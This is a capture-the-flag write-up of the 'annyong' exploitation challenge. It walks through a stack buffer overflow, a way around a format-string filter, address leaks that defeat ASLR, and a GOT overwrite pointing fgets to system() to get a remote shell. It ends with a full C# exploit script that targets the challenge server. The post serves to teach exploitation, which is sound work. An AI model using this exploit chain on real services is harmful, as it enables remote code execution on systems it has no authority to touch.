Exploitation 4 (annyong)
I (randomdude) didn't get this challenge solved, but I thought I'd share the progress I made on it. I'm also going to share some of the dead-ends I found myself investigating (hopefully the'll be useful as academic points).
The challenge gives us a binary and a server on which the binary is listening. We crack open the binary in IDA (download), and after a quick look around, we find this:

IDA makes the function pretty easy to read. The first thing that I saw in the function is a buffer overflow - the 'sub esp, 0x810' allocates 810 bytes of stack space for locals, but the value 0x900 is passed to fgets(). My first instinct was to attempt exploit of this - looks like a trivial stack buffer overflow, right?
So I set up a system and run the binary on it under GDB. I connect and send a lot of data to the daemon, and what do we get?
Woohoo, a crash! The data that I sent was along the lines of '_aaa_aab_aac', which makes it easy to see which registers were overwritten. We've obviously got control of RIP and RBP, which are pretty important.
What's happened here is that the call to fgets has corrupted the return address from sub_108C on the stack, and once sub_108C returns, it uses overwritten data as RIP.
So, being old-school, I thought I was home and dry at this point. I set RIP to the stack address and put some shellcode on the stack, aaand - nothing. Well, just a segfault.
So it seems that since I last did this (yes, quite some time ago), people started marking their stacks as non-executable, which is causing this access violation. Things aren't quite as simple as we thought, but our control of these registers via the buffer overflow will still be useful.
So we go back to the code and take a look at the code again, and this time, we look closely at the printf() call. It's only passing one argument! That's a format string bug which should lead to code execution (if you need a quick primer on exploitation of format string vulns, see this pdf). Looking at the function in the supplied binary, though, we can see that input containing the character 'n' is rejected, meaning we can't use the traditional '%n' method of exploitation.
Perhaps we can use the buffer overflow we found earlier to circumvent this check. Since the buffer overflow gives us control of RIP, we could use it to jump directly to loc_10ED - the block of code which calls printf() - ignoring the check entirely. The sequence of events is the following:
1) fgets is called, is returned a very long string which contains an 'n' character
2) fgets leaves the area after our stack buffer corrupted
3) strchr() is called, and the function writes "I don't think so" and refuses to printf()
4) control returns to loc_1113, which then notes that the stack-based local var_4 is nonzeo and thus returns
5) a value from the corrupt stack is transferred in to RIP. Since we control this value, we set it to the location of loc_10ED.
6) printf() is called with the recieved data.
Sorted. So we set this up with GDB and woohoo - it works, in that we now get to printf() an unrestricted attacker-supplied string!
So next we need to exploit the (now unrestricted) heap overflow. The first instinct I had was to modify the function we are running, adding code to give us a shell. However, this is not the easy answer it sounds, because the code section is mapped read-only. We could generate a ROP chain to get to what we want (perhaps the better option, in retrospect), but instead I decided to use a "%n"-style 4-byte overwrite to set a function pointer in the GOT (see here for an explanation of the GOT and PLT). We don't need any complex payload - since stdin/out of the target binary are redirected over a socket, all we need to is to system("/bin/bash") to get a remote shell.
Looking at the provided binary, we can see that after printf is called, fgets() is called again with the same buffer as an argument. If we start the payload of our data with "/bin/bash", then we can change the fgets entry in the PLT to the address of system(), and we're sorted. So we have the following additional steps in our exploit, to occur after the printf():
7) a k-rad format string payload causes the fgets() function pointer to be changed to a pointer to system()
8) control passes to loc_1113, but (since we corrupted the stack) we ensure that this time, var_4 contains zero, causing the target not to exit, but to call fgets() again
9) the target attempts to call fgets, passing it a buffer filled with our data. Instead, system() is called.
10) a shell!
However, there's an important aspect I've skimmed over so far - we must discover some locations in memory, since memory layout is randomised on each load of the target. We need:
- The location that our stack buffer will be (so we can use an offset of that for our new stack after printf, thus controlling var_4)
- The location of loc_10ED (so we can jump to it in step 8)
- The location of system().
These are easy to get, since we have a format string vuln - we can simply pass %p to glean values straight from the stack (and indeed, a few registers). We send a message comprising the string "%08lx" repeated, which yields that a pointer to a value on the stack as the fourth address, a pointer to somewhere in the code segment as the 283rd, and a return address in to libc (actually _start_main()) as the 267th. Our pointers don't need to be exact, since the stack and code are always aligned at a page boundary. We can find the location of loc_10ED by masking off the lower 2 bytes and adding 0x10ED, and the location of system() by adding a constant to the _start_main return address. Ace.
So our attack now comprises two steps:
1) Send one message, of a size too small to trigger the overflow, containing a number of "0x%08lx". This will leak enough information about the memory layout to perform the real attack.
2) trigger the overflow, use this to trigger a format string vuln without 'n' filtering, and overwrite the fgets() pointer.
So far, I've glossed over the 'exploit the format string vuln' stage. Remember that the first few args are passed in registers on x64 (remove then using '%c', since we need to precisely control how many characters are written so we can use %n as a write primitive), and use the time-honoured "%XXXu%n" to write data. Since libc seems to silently fail on large %u values, we use a max of 5000, and provide multiples - so if we wanted to set the memory location 10020, we'd use "%5000u%5000u%20u%n".
I ended up doing three overwrites to set a 64bit value 16 bits at a time (leaving the top 16 bits blank). The first overflow sets the bottom 16bits (making the middle 16 bits zero by necessity), and the second sets the middle 16, and the third the next 16. Unfortunately this means that the bottom 16bits must be less than the next 16, which must be less than the next 16. It was only after the context closed that I discovered that an 8bit write was possible, which would've made this much easier :D
So, after all that, our second-stage overflow ends up looking like this:
/bin/bash # [%c%c%c%c%c to use up the register args] [%5000u (repeat as neccessary)] [%..u] [%n to perform the PLT overwrite] [..] [nonzero value for first ebp-4] [..] [zero value for second ebp-4] [..] [new EBP for use after overflow] [new RIP - ie, pointer to loc_10ED] [args to pass to printf] [..]
I've only shown one overwrite in the format-string for clarity.
Amazingly, when I ran it against my Kali install, it works fine! It didn't, however, work against the target machine hosted by the CTF organisers. I think this is because of the hardcoded offset to system(). Unfortunately at this point I gave up and went to bed (having consumed enough caffeine to cause seismic activity). If I'd have worked out what build of libc the server was running, or simply tried all versions from common distributions, I would've been able to use that to find the correct offset to system() and thus get a shell. Note that I already had the location of libc in memory so, really, I had the hard part done.
Here's a huge-ass lump of incredibly poor C# which should work against Kali 1.0.3 32bit. As I say, it's poorly-written, horrible and generally bad! This isn't how I normally code!
class Program
{
private static uint max = 5000;
static void Main(string[] args)
{
Socket foo = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
while (true)
{
foo = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP);
foo.SetSocketOption(SocketOptionLevel.Tcp, SocketOptionName.NoDelay, true);
foo.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.DontFragment, true);
foo.DontFragment = true;
try
{
foo.Connect("192.168.0.1", 5679);
// foo.Connect("annyong.shallweplayaga.me", 5679);
doleethax(foo);
break;
}
catch (Exception)
{
Console.WriteLine("retry");
Thread.Sleep(500);
foo.Close();
continue;
}
}
Console.WriteLine("ok!");
int n = 0;
while (true)
{
Byte[] readBuf = new byte[1];
while (foo.Receive(readBuf, 0, 1, SocketFlags.None) == 0)
{
Thread.Sleep(100);
}
Console.Write(Encoding.ASCII.GetChars(readBuf)[0]);
n++;
}
}
static void doleethax(Socket foo)
{
// Find that stack location, code location, and a value in libc.
// Generate a big string of 0x%08lx
byte[] buf = new byte[2048];
int i = 0;
for (; i < buf.Length - 7; i+=6)
{
buf[i + 0] = (byte) '%';
buf[i + 1] = (byte)'0';
buf[i + 2] = (byte)'8';
buf[i + 3] = (byte)'l';
buf[i + 4] = (byte)'x';
buf[i + 5] = (byte)' ';
}
buf[i] = (byte) '\n';
foo.Send(buf, i+1, SocketFlags.None);
byte[] stuff = new byte[9001];
int n = 0;
while (true)
{
while (foo.Receive(stuff, n, 1, SocketFlags.None) == 0)
{
break;
}
if (stuff[n] == (Byte)'\n')
break;
n++;
}
stuff[n] = (byte) '\0';
string replyLine = ASCIIEncoding.ASCII.GetString(stuff);
Console.WriteLine(replyLine);
string[] addresses = replyLine.Split(' ');
UInt64 stackaddy = UInt64.Parse(addresses[3], System.Globalization.NumberStyles.HexNumber);
UInt64 somewhereincode = UInt64.Parse(addresses[282], System.Globalization.NumberStyles.HexNumber);
UInt64 libc = UInt64.Parse(addresses[266], System.Globalization.NumberStyles.HexNumber);
doMainPayload(foo, stackaddy, somewhereincode, libc);
}
static void doMainPayload(Socket foo, UInt64 stackLoc, UInt64 somewhereincode, UInt64 libcMain)
{
// Buffer to send to the server
byte[] data = new byte[2304];
// populate with _aaa_aab_aac ...
char a = 'a';
char b = 'a';
char c = 'a';
for (int i = 0; i < data.Length; i += 4)
{
data[i] = (byte) '_';
data[i+1] = (byte)a;
data[i+2] = (byte)b;
data[i+3] = (byte)c;
c++;
if (c == 'z')
{
c = 'a';
b++;
}
if (b == 'z')
{
a = 'a';
a++;
}
if (a == 'z')
{
a = 'a';
}
if (a == 'n')
a++;
if (b == 'n')
b++;
if (c == 'n')
c++;
}
// Set target EBP-4
data[0x80c] = 0x01;
data[0x80d] = 0x02;
data[0x80e] = 0x03;
data[0x80f] = 0x04;
// And _second_ target EBP-4
data[0x84c] = 0x00;
data[0x84d] = 0x00;
data[0x84e] = 0x00;
data[0x84f] = 0x00;
// Target EBP (new stack!)
// UInt64 targetEBP = (stackLoc - 0x7f0) + 0x810;
UInt64 targetEBP = (stackLoc - 0x7f0) + 0x810 + 0x40;
data[0x817] = (byte)((targetEBP >> 56) & 0xff);
data[0x816] = (byte)((targetEBP >> 48) & 0xff);
data[0x815] = (byte)((targetEBP >> 40) & 0xff);
data[0x814] = (byte)((targetEBP >> 32) & 0xff);
data[0x813] = (byte)((targetEBP >> 24) & 0xff);
data[0x812] = (byte)((targetEBP >> 16) & 0xff);
data[0x811] = (byte)((targetEBP >> 8) & 0xff);
data[0x810] = (byte)((targetEBP >> 0) & 0xff);
// set target EIP
UInt64 targetEIP = (somewhereincode & 0xffffffffff000) | 0xed;
data[0x81f] = (byte)((targetEIP >> 56) & 0xff);
data[0x81e] = (byte)((targetEIP >> 48) & 0xff);
data[0x81d] = (byte)((targetEIP >> 40) & 0xff);
data[0x81c] = (byte)((targetEIP >> 32) & 0xff);
data[0x81b] = (byte)((targetEIP >> 24) & 0xff);
data[0x81a] = (byte)((targetEIP >> 16) & 0xff);
data[0x819] = (byte)((targetEIP >> 8) & 0xff);
data[0x818] = (byte)((targetEIP >> 0) & 0xff);
// the place we want to write data to (ie, _fgets)
UInt64 locationToWriteTo = (somewhereincode & 0xffffffffff000) + 0x201058; // + 0x200fb0;
// the shell command to execute (ie, bash)
byte[] cmd = Encoding.ASCII.GetBytes("uptime # ");
for (int i = 0; i < cmd.Length; i++)
data[0x40 + i] = cmd[i];
// First few args are passed in registers which we don't control, so get those used up
byte[] registerUser = Encoding.ASCII.GetBytes("%c%c%c%c%c");
int writeCursor = 0x50;
for (int i = 0; i < registerUser.Length; i++)
{
data[writeCursor] = registerUser[i];
writeCursor++;
}
// the value to overwrite our pointer with (ie, a pointer to system()).
UInt64 valueToWrite = libcMain + 0x2452B;
// remove some for const string bits
valueToWrite -= 21; //94; //37;
// since %1234u has a max, do it like this
uint spos = (uint) writeCursor;
uint argsneeded = 0;
uint written = 0;
UInt32 valueToWriteLow = (UInt32)(valueToWrite & 0x000000000000ffff);
UInt32 valueToWriteHigh = (UInt32)(valueToWrite & 0x00000000ffff0000) >> 16;
UInt32 valueToWriteSuperHigh = (UInt32)((valueToWrite & (UInt64)0x0000ffff00000000) >> 32);
if (valueToWrite > 0x0000FFFFFFFFFFFF)
throw new Exception();
// idk lol
valueToWriteHigh -= 21;
valueToWriteSuperHigh -= 21;
uint argh = valueToWriteLow;
while (written < valueToWriteLow)
{
uint toWrite;
if (valueToWriteLow - written > max)
toWrite = max;
else
toWrite = argh;
byte[] formatpart = Encoding.ASCII.GetBytes("%" + toWrite + "u");
//byte[] formatpart = Encoding.ASCII.GetBytes("%d");
for (int i = 0; i < formatpart.Length ; i++)
{
data[spos + i] = formatpart[i];
}
spos += (uint)formatpart.Length;
written += toWrite;
argh -= toWrite;
argsneeded++;
}
// %n plox
data[spos + 0] = (byte)'%';
data[spos + 1] = (byte)'n';
spos += 2;
// Now write the next two bytes.
int argsneeded2 = 0;
written = valueToWriteLow; // +2;
if (written >valueToWriteHigh)
throw new Exception();
argh = valueToWriteHigh - written;
while (written < valueToWriteHigh)
{
uint toWrite;
if (valueToWriteHigh - written > max)
toWrite = max;
else
toWrite = argh;
byte[] formatpart = Encoding.ASCII.GetBytes("%" + toWrite + "u");
for (int i = 0; i < formatpart.Length; i++)
{
data[spos + i] = formatpart[i];
}
spos += (uint)formatpart.Length;
written += toWrite;
argh -= toWrite;
argsneeded2++;
}
// %n plox
data[spos + 0] = (byte)'%';
data[spos + 1] = (byte)'n';
spos += 2;
// And the final two bytes.
int argsneeded3 = 0;
written = valueToWriteHigh; // +2;
if (written > valueToWriteSuperHigh)
throw new Exception();
argh = valueToWriteSuperHigh - written;
while (written < valueToWriteSuperHigh)
{
uint toWrite;
if (valueToWriteSuperHigh - written > max)
toWrite = max;
else
toWrite = argh;
byte[] formatpart = Encoding.ASCII.GetBytes("%" + toWrite + "u");
for (int i = 0; i < formatpart.Length; i++)
{
data[spos + i] = formatpart[i];
}
spos += (uint)formatpart.Length;
written += toWrite;
argh -= toWrite;
argsneeded3++;
}
// %n plox
data[spos + 0] = (byte)'%';
data[spos + 1] = (byte)'n';
spos += 2;
// null-terminate our format string
data[spos + 2] = 0;
spos += 2;
writeShit(data, 0x820 + (int)(8 * argsneeded), locationToWriteTo);
writeShit(data, 0x820 + (int)(8 * (argsneeded + argsneeded2 + 1)), locationToWriteTo + 2);
writeShit(data, 0x820 + (int)(8 * (argsneeded + argsneeded2 + argsneeded3 + 2)), locationToWriteTo + 4);
foo.Send(data);
}
private static void writeShit(byte[] data, int baseloc, ulong targetShellcodeLoc)
{
data[baseloc + 7] = (byte)((targetShellcodeLoc >> 56) & 0xff);
data[baseloc + 6] = (byte)((targetShellcodeLoc >> 48) & 0xff);
data[baseloc + 5] = (byte)((targetShellcodeLoc >> 40) & 0xff);
data[baseloc + 4] = (byte)((targetShellcodeLoc >> 32) & 0xff);
data[baseloc + 3] = (byte)((targetShellcodeLoc >> 24) & 0xff);
data[baseloc + 2] = (byte)((targetShellcodeLoc >> 16) & 0xff);
data[baseloc + 1] = (byte)((targetShellcodeLoc >> 8) & 0xff);
data[baseloc + 0] = (byte)((targetShellcodeLoc >> 0) & 0xff);
}
}
Now, if you'll excuse me, I'm off to find a writeup of how PPP did it!
I bet there's a much easier way than mine.